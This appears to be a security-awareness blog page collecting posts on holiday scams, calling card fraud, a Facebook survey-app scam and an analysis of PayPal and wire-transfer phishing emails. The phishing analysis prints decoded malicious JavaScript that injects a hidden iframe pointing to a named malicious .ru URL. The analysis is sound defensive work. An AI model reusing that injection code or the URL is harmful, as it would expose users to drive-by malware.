Top 5 Cyber Scams of Christmas

We are heading towards the Christmas of this year, you might be very excited and happy for your holiday, Christmas celebration and of-course your shopping. The advent of modern Internet has changed the way of shopping and many of us will use computers, smart phones, tablets and other gadgets for online shopping. Users like us are preparing themselves for shopping but we should not forget that cyber criminals are also preparing their tools and techniques to use scams.

McAfee has spotlights the "12 Scams of Christmas" to keep consumers digital lives safe, and in this article we will discuss some of them (which are very important and you may face them).

Fake gift cards

Social media specially twitter and facebook are likely the best platform for these scammers to steal money from consumers, and gift card (fake or bogus) are the easiest way to target innocent people. Safe yourself from the deceptive advertisement that ask your personal information.

SMS Scam “Smishing”

Smishing is the phishing technique that done through a text message, here I am not mentioning sms because now a days scammers are using android / iOS apps to target consumer. You might get a text message from your bank or even an consumer website, the SMS might not be originated from the pretended source. So always confirm before going to share your information and do not open any URL

Deceptive Online Games
“Before your kids are glued to their newly downloaded games, be wary of the games’ sources. Many sites offering full-version downloads of Grand Theft Auto, for example, are often laden with malware, and integrated social media pages can expose gamers, too. “ Says McAfee

Fake Charity

Donation is the common practice of Christmas and most of us are planning to donate some amount of money to the needy one, but do not trust the fake charities on the basis of their claims. They might create fake charity websites and ask your donation, email marketing, social media marketing and even google advertisement may be use to grab your attention and to play with human psyche.

Fake Application

Do not install the fake applications that look like the famous online shopping portals, they might be malicious.


So above are the top 5 scams the everyone of us might face. McAfee has created their list if top 12 scams. The number of scams is not the matter at all because scammers always use different techniques that used to be the mixture of various tricks, you need to aware regarding the situation that is going on. Do not download any application from third party website, do not check promotional emails that you received from an unknown source and same goes with SMS.

Financial sector never ask personal information through SMS or even email, so do not share your information. 

Also, if you find any malicious activity or scam then do share it with us. So that we can investigate and publish the right thing for the protection of other users.

Happy shopping and enjoy your holiday.

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by Malik korrich ~ jeudi 12 décembre 2013 0 commentaires

How To Detect Online Calling Card Scams

If you suddenly receive bills running up to $1000 on your calling card bill and your account statement shows calls made to foreign countries that you neither do business with nor have any contact with, chances are, you have just been scammed. Calling card scams were on the increase worldwide for a long time and users have to know how to detect such frauds. Luckily, new legislation and increased user awareness has seen a decline in fraud.





Globalization, technological advancements, and higher immigration rates have all increased the need for international communication. Calling cards have proven to be cost-efficient, flexible, and easy to manage. And their ever-rising popularity has also attracted the wrong kind of attention. Scammers have increasingly invaded the calling card market. There are individual scammers who call you for your information and those who eavesdrop as you make your calls. Then there are the technologically advanced networks who work together to steal call card information and operate call-sell services to unsuspecting consumers.

Eavesdroppers

The simplest form of calling card scam is whereby someone eavesdrops or watches over your shoulder as you submit your details to an operator over the phone. The eavesdropper then memorizes the information to later use for making his/her own personal calls. Although this kind of scammer usually works alone, sometimes they work in groups to re-sell your information. The networks usually use advanced devices such as cameras, scanning devices, and facades.
If you see someone paying too much attention to your activities at a public phone, you have probably detected an eavesdropper. Use lower tones and use your body to cover the keypad as you dial in your 14-digit code and 3 or 4-digit PIN.

Callers

There are occasions when a phone service provider will call you as part of their customer service operations. However, none of them ever ask for your codes and PIN because they already have it in their systems and records. If you receive any such call from a purported customer care representative, tell them you will call back with the information required and hang up. Call the customer care number written on the card, on their website, or listed in the telephone directory. Do not use the customer care number supplied by the caller.

Hackers

There are technologically advanced fraudsters who find ways to access calling card codes directly from the calling card company servers and other directories. Some also bribe unscrupulous employees to steal the data for them. Although most calling card firms have taken great measures to safeguard against data thefts, such criminal incidences may still occur.
For consumers, the best way to detect fraud is to closely monitor their calling card statements and usage. If you notice any high charges on your card, investigate it immediately. If the charges were charged to your card without your authorization, immediately notify your calling card supplier.

Scam Suppliers

Sometimes the calling card companies themselves are the scammers or fraudsters. What they do is that they may advertize 30-minute cards for a certain fee but once you purchase it and start calling, you get only 15 minutes of talk time. Apart from that, some of these companies levy many hidden charges that are either not displayed or are displayed in very small print at the back of the card. Such fees may include hung up fees and other junk fees, connections fees on phone calls that don’t go through, calling rates that increase without warning, activation fees, maintenance fees, cards that expire within a short period, or cards that bill the user in increasing rates.

Summary of the Post:

Calling card fraud is easy to detect if you know what to look for. Every calling card user should be vigilant on the charges that appear on their calling card statements. If you get scammed, report to the authorities and make your fellow users aware of the problem through forums.


Author Bio: The Article has been written by Jon from Ezcalls, The customer care team of Ezcalls is always looking out for concerns raised by our clients and our competitors’ clients. Although calling card fraud is now on the decrease, largely due to increased user awareness, both service providers and consumers can never be too careful or relaxed.    

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by Malik korrich ~ lundi 3 juin 2013 0 commentaires

PayPal & Wire Transfer Scam - Email Scam

Scammer are active and they usually active to make an innocent fool and to steal the confidential information and money, every day thousands of email are sending by the spammer an email filter can easily filter these email and spam them like the powerful spam filter of gmail and yahoo but sometimes the spammers uses some new techniques to bypass these filters.  Now a day the private email exchange server (private company email servers) are the target of these spammers.

You might have heard about the spamming on social media channels like facebook spam, LinkedIn spam and so on, the danger situation is the spam email that has an ability to steal the financial information of the victim, look at this scam below

I have just received an email, a paypal spam email. We can easily say that this is not a legitimate email because it starts with “Dear Pay Pal user” but paypal always writes the name of the customer. You can see that the spammers has just put the hyper link on some text, the links are not the paypal links but the spammer website links, the target website might have some malware or a phishing page of paypal or it simply redirect you to another website.

The second email from the spammer is wire transfer email, look at the picture:

The spammers has attached a HTML file and said that this is the Internet explorer file, means they want receiver to open it on Internet explorer, since IE more vulnerable then other browsers so the more chance of success.

Lets analyze it:

This is the HTML file that contain the code:

It seems to be the Java code and I have decrypted it:

//eval var box = document.createElement('iframe'); box.id = 'iframe_box'; box.src = 'http://wiskonsintpara.ru:8080/img/?promo=nacha'; document.body.style.overflow = 'hidden'; document.body.appendChild(box); //jsunpack.called CreateElement iframe //jsunpack.url http://wiskonsintpara.ru:8080/img/?promo=nacha //jsunpack.url var s = var box = document.createElement('iframe'); box.id = 'iframe_box'; box.src = 'http://wiskonsintpara.ru:8080/img/?promo=nacha'; document.body.style.overflow = 'hidden'; document.body.appendChild(box); //jsunpack.url var z = var box = document.createElement('iframe'); box.id = 'iframe_box'; box.src = 'http://wiskonsintpara.ru:8080/img/?promo=nacha'; document.body.style.overflow = 'hidden'; document.body.appendChild(box); //jsunpack.url var newurl = var box = document.createElement('iframe'); box.id = 'iframe_box'; box.src = 'http://wiskonsintpara.ru:8080/img/?promo=nacha'; document.body.style.overflow = 'hidden'; document.body.appendChild(box);

It is some sort of the iframe injection attack and the final destination or URL is

//jsunpack.called CreateElement iframe //jsunpack.url http://wiskonsintpara.ru:8080/img/?promo=nacha

It is not a bank website but a URL of the malicious website.

So the conclusion is very simple never trust on any malicious email because such a emails are nothing but a way to steal your money, educate the people around you because the security awareness is only the possible way of online security.

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by Malik korrich ~ samedi 21 avril 2012 0 commentaires

FaceBook Scam Alert

There is no need to introduce facebook, yes we are talking about the facebook the famous social networking plate form for the user's. Facebook has a large number of user's and it is on hit list of attacker's and scam-er. There are so many scamming that has been start and discussed before but now in this article we will discuss on a new scamming rising on facebook. 

This is about the new application "Want to know your total facebook views".
A scam spreading rapidly across the facebook network, beware from it. Facebook application is the weakest point and the security researcher always warn about it.

In this scam if you accept this application for your profile than it will automatically send messages and will do update your status.

My total facebook views are: XXXX
Find out your total profile views [LINK]

The number of views changes every time and the link is also change,a lot of user's has been infected and the link is point you to the rough application.

Behind this application the scammers already posted the messages which will be view by your friends,this scam spread quickly because people want to know about their profile views.

By using this application the scammer's make money because when you want to try this application you have to fill out the survey, every time these surveys is completed the scammer make money.

The solution is simply just remove these application from your profile. Click on the post and click on delete post no click on remove application.

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by Malik korrich ~ vendredi 4 février 2011 0 commentaires